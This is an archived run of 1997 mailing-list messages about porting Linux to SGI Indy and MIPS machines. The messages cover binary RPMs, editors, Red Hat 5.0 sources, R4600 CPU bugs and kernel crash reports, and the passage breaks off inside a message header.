Lines: 26 On Sat, 29 Nov 1997 ralf@uni-koblenz.de wrote: > On Fri, Nov 28, 1997 at 10:51:47PM -0500, Alex deVries wrote: > > libc and glibc binary RPMs would be appreciated. How about gcc and > > binutils for big endian as well? > I'll upload them rsn. Just give some more days. My next upload will > probably again be 100mb or so, that takes a while to compile. Also I Cool! Now that things are working a bit better on my box, I'm a little more eager to get things running smoothly. > > Does anyone have an editor? It's a bit of a pain to have to FTP things > > over to my i386 box, change, and re-FTP. > I'm pretty shure that I put a tarball with Elvis and several rpms with > other editors on Linus. Uh, could you let me know where? I couldn't find either. The only RPMs are ed(no, please, don't make me) and the broken version of joe. I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I get my build system running well, it'll churn out the upgraded RPMs. Having compiled a few things this evening, I can tell you it'll take a long time. The 4600 isn't as fast as I'd thought. - Alex From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 04:04:46 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA603580 for ; Sat, 29 Nov 1997 04:04:46 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id DAA23319 for linux-list; Sat, 29 Nov 1997 03:58:46 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id DAA23314 for ; Sat, 29 Nov 1997 03:58:35 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id DAA26445 for ; Sat, 29 Nov 1997 03:58:34 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id LAA07204; Sat, 29 Nov 1997 11:58:12 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xblXX-0005FsC; Sat, 29 Nov 97 11:58 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Bintuils To: adevries@engsoc.carleton.ca (Alex deVries) Date: Sat, 29 Nov 1997 11:58:26 +0000 (GMT) Cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com In-Reply-To: from "Alex deVries" at Nov 28, 97 10:51:47 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 192 Lines: 7 > Does anyone have an editor? It's a bit of a pain to have to FTP things > over to my i386 box, change, and re-FTP. There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed". Alan From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 04:05:11 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA604865 for ; Sat, 29 Nov 1997 04:05:11 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id EAA23587 for linux-list; Sat, 29 Nov 1997 04:01:12 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id EAA23583 for ; Sat, 29 Nov 1997 04:01:10 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id EAA26809 for ; Sat, 29 Nov 1997 04:01:09 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id MAA07402; Sat, 29 Nov 1997 12:00:55 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xbla9-0005FsC; Sat, 29 Nov 97 12:01 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: Bintuils To: adevries@engsoc.carleton.ca (Alex deVries) Date: Sat, 29 Nov 1997 12:01:09 +0000 (GMT) Cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com In-Reply-To: from "Alex deVries" at Nov 29, 97 00:49:33 am Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 468 Lines: 11 > I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I > get my build system running well, it'll churn out the upgraded RPMs. > Having compiled a few things this evening, I can tell you it'll take a > long time. The 4600 isn't as fast as I'd thought. If you have the tree from /devel you probably dont quite have final 5.0 We'll soon find out. My 5.0 CD should appear pretty soon and I'll mount the SRMS directory of it somewhere for ftp. Alan From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 05:29:17 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA609217 for ; Sat, 29 Nov 1997 05:29:17 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA27963 for linux-list; Sat, 29 Nov 1997 05:24:29 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA27958 for ; Sat, 29 Nov 1997 05:24:23 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA05532 for ; Sat, 29 Nov 1997 05:24:22 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-30.uni-koblenz.de [141.26.249.30]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA04397 for ; Sat, 29 Nov 1997 14:24:20 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id OAA19417; Sat, 29 Nov 1997 14:20:52 +0100 Message-ID: <19971129142051.36299@uni-koblenz.de> Date: Sat, 29 Nov 1997 14:20:51 +0100 To: Alex deVries Cc: linux@cthulhu.engr.sgi.com Subject: Re: Bintuils References: <19971129054928.36122@uni-koblenz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alex deVries on Sat, Nov 29, 1997 at 12:49:33AM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1543 Lines: 34 On Sat, Nov 29, 1997 at 12:49:33AM -0500, Alex deVries wrote: > On Sat, 29 Nov 1997 ralf@uni-koblenz.de wrote: > > On Fri, Nov 28, 1997 at 10:51:47PM -0500, Alex deVries wrote: > > > libc and glibc binary RPMs would be appreciated. How about gcc and > > > binutils for big endian as well? > > I'll upload them rsn. Just give some more days. My next upload will > > probably again be 100mb or so, that takes a while to compile. Also I > > Cool! Now that things are working a bit better on my box, I'm a little > more eager to get things running smoothly. I just started rebuilding libc. Boy, I didn't know that the last published version of libc was that buggy. *grin innocent* > > > Does anyone have an editor? It's a bit of a pain to have to FTP things > > > over to my i386 box, change, and re-FTP. > > I'm pretty shure that I put a tarball with Elvis and several rpms with > > other editors on Linus. > > Uh, could you let me know where? I couldn't find either. The only RPMs > are ed(no, please, don't make me) and the broken version of joe. Also to be released: Eeekmacs 19.34 tty and X version. > I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I > get my build system running well, it'll churn out the upgraded RPMs. > Having compiled a few things this evening, I can tell you it'll take a > long time. The 4600 isn't as fast as I'd thought. I can't get rid of the feeling that performancewise something is very wrong with the Indy code. My R4600 box feels faster than the R5000 Indy. Ralf From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 05:34:17 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA606259 for ; Sat, 29 Nov 1997 05:34:17 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA28568 for linux-list; Sat, 29 Nov 1997 05:33:41 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id FAA28563 for ; Sat, 29 Nov 1997 05:33:39 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id FAA06362 for ; Sat, 29 Nov 1997 05:33:38 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-30.uni-koblenz.de [141.26.249.30]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id OAA04534 for ; Sat, 29 Nov 1997 14:33:36 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id OAA19469; Sat, 29 Nov 1997 14:30:12 +0100 Message-ID: <19971129143012.19829@uni-koblenz.de> Date: Sat, 29 Nov 1997 14:30:12 +0100 To: Alan Cox Cc: Alex deVries , linux@cthulhu.engr.sgi.com Subject: Re: Bintuils References: Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary=oiEqYs2KFztAG8eR X-Mailer: Mutt 0.85 In-Reply-To: ; from Alan Cox on Sat, Nov 29, 1997 at 11:58:26AM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 885 Lines: 32 --oiEqYs2KFztAG8eR Content-Type: text/plain; charset=us-ascii On Sat, Nov 29, 1997 at 11:58:26AM +0000, Alan Cox wrote: > > Does anyone have an editor? It's a bit of a pain to have to FTP things > > over to my i386 box, change, and re-FTP. > > There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed". While I'll stick with the king of Rock'n'Roll, I've uploaded a patchfile for Emacs to /pub/src/misc/emacs-19.34-mips.patch.gz. Ralf 59f4b927f47268e7fdb0fe15c7d6d9c7 emacs-19.34-mips.patch.gz --oiEqYs2KFztAG8eR Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: 2.6.3i iQCVAwUBNIAY5Eckbl6vezDBAQFZbQP+O4xv14OhcM4rlzodh8K8FJJNIb23l7D8 ThkT1+3mhLPyeA9fHhlqiq+S4KRw1E0e3mce/TVktRGJR73Ebxc8MJ7eRejsWifj +bX3ogXS0Rz8Uy0neESnddn8nSvHmt2LeGKXsRN/L7GK56hU35nnyRqfZ+fKqbQk 65Gv7HlizXQ= =pLpu -----END PGP SIGNATURE----- --oiEqYs2KFztAG8eR-- From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 09:37:03 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id JAA622837 for ; Sat, 29 Nov 1997 09:37:03 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id JAA12683 for linux-list; Sat, 29 Nov 1997 09:31:44 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id JAA12678 for ; Sat, 29 Nov 1997 09:31:41 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id JAA03767 for ; Sat, 29 Nov 1997 09:31:40 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id MAA14622; Sat, 29 Nov 1997 12:28:37 -0500 Date: Sat, 29 Nov 1997 12:28:36 -0500 (EST) From: Alex deVries To: Alan Cox cc: linux@cthulhu.engr.sgi.com Subject: Re: Bintuils In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 703 Lines: 16 On Sat, 29 Nov 1997, Alan Cox wrote: > > I've had SRPMs of RedHat 5.0 (Hurricane) for a couple of days, so when I > > get my build system running well, it'll churn out the upgraded RPMs. > > Having compiled a few things this evening, I can tell you it'll take a > > long time. The 4600 isn't as fast as I'd thought. > If you have the tree from /devel you probably dont quite have final 5.0 > We'll soon find out. My 5.0 CD should appear pretty soon and I'll mount > the SRMS directory of it somewhere for ftp. Seeing as how I actually have the CD in my hand of the SRPMs, I'm quite sure I have the final ones. They'll be in ftp://ftp.engsoc.carleton.ca/pub/redhat-5.0 by the end of my day. - Alex From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 09:52:35 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id JAA623483 for ; Sat, 29 Nov 1997 09:52:35 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id JAA14198 for linux-list; Sat, 29 Nov 1997 09:46:29 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id JAA14179 for ; Sat, 29 Nov 1997 09:46:14 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id JAA05492 for ; Sat, 29 Nov 1997 09:46:13 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id MAA15384; Sat, 29 Nov 1997 12:43:24 -0500 Date: Sat, 29 Nov 1997 12:43:23 -0500 (EST) From: Alex deVries To: Alan Cox cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com Subject: Re: Bintuils In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 348 Lines: 13 On Sat, 29 Nov 1997, Alan Cox wrote: > There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed". And vim, and apache, and bash... very cool. I didn't know there were all thos packages there. Does anyone have any objections if I put all those RPMs on ftp.linux.sgi.com ? It would save folks from having to look in two places... - A From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 10:44:38 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id KAA624953 for ; Sat, 29 Nov 1997 10:44:38 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id KAA18827 for linux-list; Sat, 29 Nov 1997 10:43:17 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id KAA18805 for ; Sat, 29 Nov 1997 10:43:06 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id KAA11960 for ; Sat, 29 Nov 1997 10:43:05 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id TAA10233; Sat, 29 Nov 1997 19:41:57 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id TAA14012; Sat, 29 Nov 1997 19:41:56 +0100 Message-ID: <19971129194155.18005@thoma.uni-koblenz.de> Date: Sat, 29 Nov 1997 19:41:55 +0100 From: Ralf Baechle To: Alex deVries Cc: Alan Cox , ralf@mailhost.uni-koblenz.de, linux@cthulhu.engr.sgi.com Subject: Re: Bintuils References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: ; from Alex deVries on Sat, Nov 29, 1997 at 12:43:23PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 442 Lines: 14 On Sat, Nov 29, 1997 at 12:43:23PM -0500, Alex deVries wrote: > > There is an nvi and a joe rpm on ftp.uk.linux.org as well as "ed". > > And vim, and apache, and bash... very cool. I didn't know there were all > thos packages there. > > Does anyone have any objections if I put all those RPMs on > ftp.linux.sgi.com ? It would save folks from having to look in two > places... Good idea. And we've got still a gig to fill :-) Ralf From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 11:40:21 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id LAA629398 for ; Sat, 29 Nov 1997 11:40:20 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id LAA22440 for linux-list; Sat, 29 Nov 1997 11:36:43 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id LAA22432 for ; Sat, 29 Nov 1997 11:36:32 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id LAA17748 for ; Sat, 29 Nov 1997 11:36:28 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id OAA22270; Sat, 29 Nov 1997 14:33:22 -0500 Date: Sat, 29 Nov 1997 14:33:22 -0500 (EST) From: Alex deVries To: Alan Cox cc: ralf@uni-koblenz.de, linux@cthulhu.engr.sgi.com Subject: Re: Bintuils In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 369 Lines: 12 On Sat, 29 Nov 1997, Alex deVries wrote: > Does anyone have any objections if I put all those RPMs on > ftp.linux.sgi.com ? It would save folks from having to look in two > places... Alright. I'v put all the RPMs on ftp.linux.sgi.com. Where there were overlaps in packages, I put the older version in the mips-linux/old directory and I included the newer. - Alex From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 12:07:48 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA630549 for ; Sat, 29 Nov 1997 12:07:48 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id MAA25461 for linux-list; Sat, 29 Nov 1997 12:04:44 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id MAA25448 for ; Sat, 29 Nov 1997 12:04:34 -0800 Received: from mdhill.tor.hookup.net (mdhill.tor.hookup.net [165.154.15.186]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id MAA20558 for ; Sat, 29 Nov 1997 12:04:30 -0800 env-from (mike@mdhill.tor.hookup.net) Received: (from mike@localhost) by mdhill.tor.hookup.net (950413.SGI.8.6.12/950213.SGI.AUTOCF) id PAA01728 for linux@cthulhu.engr.sgi.com; Sat, 29 Nov 1997 15:03:48 -0500 From: "Michael Hill" Message-Id: <9711291503.ZM1726@mdhill.tor.hookup.net> Date: Sat, 29 Nov 1997 15:03:47 -0500 X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) To: linux@cthulhu.engr.sgi.com Subject: Re: Problems with booting SGI/Linux Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 940 Lines: 30 > > > :PROMLIB: SGI ARCS firmware Version1 Revision 10 > > :PROMLIB: Total free ram 31502336 bytes (...) > > :ARCH: SGI-IP22 > > :CPU: MIPS-R4600 FPU ICACHE DCACHE > > :Loading R4000 MNV routines > > :CPU revision is: 00002020 > ^^^^ Ditto (for the most part). > That's a R4600 V2.0. The kernel sources/binaries on Linus don't handle > the silicon bugs of this beast correctly. I fixed the problem this > morning testing them on a SNI RM200. For a proof of the test I compiled > X a couple of times; the box now looks stable even under high load. Will > commit the bug fixes shortly. This is a huge relief since I didn't know what to try next (haven't been able to compile a kernel). Ralf, where can I access your committed bug fixes? Any chance of someone posting a compiled kernel incorporating these to ftp.linux.sgi.com? Thanks, Mike -- Michael Hill Toronto, Canada mdhill@hookup.net From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 12:49:39 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id MAA630631 for ; Sat, 29 Nov 1997 12:49:39 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id MAA28878 for linux-list; Sat, 29 Nov 1997 12:46:54 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id MAA28871 for ; Sat, 29 Nov 1997 12:46:53 -0800 Received: from home.axess.net (usr-34.syr.axess.net [205.247.138.234]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id MAA25900 for ; Sat, 29 Nov 1997 12:46:47 -0800 env-from (delznic@acm.org) Received: from win95.axess.net ([192.168.4.69]) by home.axess.net (8.8.5/8.8.5) with SMTP id PAA15618 for ; Sat, 29 Nov 1997 15:46:32 -0500 Message-Id: <3.0.2.32.19971129153944.0072bc38@192.168.4.20> X-Sender: delznic@192.168.4.20 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Sat, 29 Nov 1997 15:39:44 -0500 To: linux@cthulhu.engr.sgi.com From: "Douglas F. Elznic" Subject: Used Indys Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 336 Lines: 12 Hello, I am looking to get my hangs on a old cheap indy. I found a couple of places on the web that catered to sell cheap sparcs but no indys. Any ideas? -- Douglas F. Elznic Email: delznic@acm.org Pager: 3154492502.2423685@pagenet.net "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 20:31:14 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA658892 for ; Sat, 29 Nov 1997 20:31:14 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA00688 for linux-list; Sat, 29 Nov 1997 20:24:03 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA00684 for ; Sat, 29 Nov 1997 20:24:01 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA20962 for ; Sat, 29 Nov 1997 20:23:59 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-24.uni-koblenz.de [141.26.249.24]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA27582 for ; Sun, 30 Nov 1997 05:23:57 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id BAA15206; Sun, 30 Nov 1997 01:25:56 +0100 Message-ID: <19971130012555.40529@uni-koblenz.de> Date: Sun, 30 Nov 1997 01:25:55 +0100 To: Michael Hill Cc: linux@cthulhu.engr.sgi.com Subject: Re: Problems with booting SGI/Linux References: <9711291503.ZM1726@mdhill.tor.hookup.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: <9711291503.ZM1726@mdhill.tor.hookup.net>; from Michael Hill on Sat, Nov 29, 1997 at 03:03:47PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1557 Lines: 37 On Sat, Nov 29, 1997 at 03:03:47PM -0500, Michael Hill wrote: > > > :PROMLIB: SGI ARCS firmware Version1 Revision 10 > > > :PROMLIB: Total free ram 31502336 bytes (...) > > > :ARCH: SGI-IP22 > > > :CPU: MIPS-R4600 FPU ICACHE DCACHE > > > :Loading R4000 MNV routines > > > :CPU revision is: 00002020 > > ^^^^ > > Ditto (for the most part). > > > That's a R4600 V2.0. The kernel sources/binaries on Linus don't handle > > the silicon bugs of this beast correctly. I fixed the problem this > > morning testing them on a SNI RM200. For a proof of the test I compiled > > X a couple of times; the box now looks stable even under high load. Will > > commit the bug fixes shortly. Bad luck, my box is still not stable even though this bug has been fixed. > This is a huge relief since I didn't know what to try next (haven't been able > to compile a kernel). Ralf, where can I access your committed bug fixes? > Any chance of someone posting a compiled kernel incorporating these to > ftp.linux.sgi.com? I'm working on it. There are several issues that will take me a couple of days to work them out. My two main projects are - rebuilding RedHat 4.9.1 for big endian MIPS (like the Indy). This is the most urgent part and I'm working (well, my Indy ...) on it. - my kernel tree has diverged significantly from what were publishing on Linus. Have to merge them both. You can usually get the bugfixes from the kernel sources/binaries available on Linus. The last one is a bit old, though ... Ralf From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 16:50:24 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id QAA615450 for ; Sat, 29 Nov 1997 16:50:24 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id QAA15756 for linux-list; Sat, 29 Nov 1997 16:47:23 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id QAA15750 for ; Sat, 29 Nov 1997 16:47:13 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id QAA22840 for ; Sat, 29 Nov 1997 16:47:07 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id TAA05327 for ; Sat, 29 Nov 1997 19:44:47 -0500 Date: Sat, 29 Nov 1997 19:44:47 -0500 (EST) From: Alex deVries To: linux@cthulhu.engr.sgi.com Subject: A report from the battle field... In-Reply-To: <19971128161417.23781@thoma.uni-koblenz.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1481 Lines: 39 My machine is now almost fully self-hosting. It's an Indy with a 4600 version 2.0 CPU, running Mike's EFS kernel 2.1.55. Okay, two significant bugs I'd like to report: 1. When I try to FTP a lot of files to it, it complains about "eth0: ". I guess it's just going too quick. The file then becomes corrupt. The somewhat odd solution is for me to FTP the file over a slower network. Instead of grabbing the file from the machine 30cm away, I grab it from ftp.linux.sgi.com, and it's fine. Would someone by chance have a newer precompiled kernel? 2. Execution errors on various programs: - bash: do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) - pico (part of pine): do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) - mingetty: unix_gc: deferred due to low memory All these binaries are from the RPMs. And other things: - /proc/cpuinfo says it's a blazing 137.63 Bogomips, but if feels about like a 486-33. Perhaps this means nothing. Also, under "system type" it says "You'd like to know unknown". Let me tell you, I _know_ what it's like to be unknown. - when I try and do a control-alt-delete, it says that it's flushing the cache, and that's it. - Alex Alex deVries Rent this space for a $5 donation System Administrator to EngSoc per day. The EngSoc Project Send spam to spam@engsoc.carleton.ca. From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 16:50:30 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) 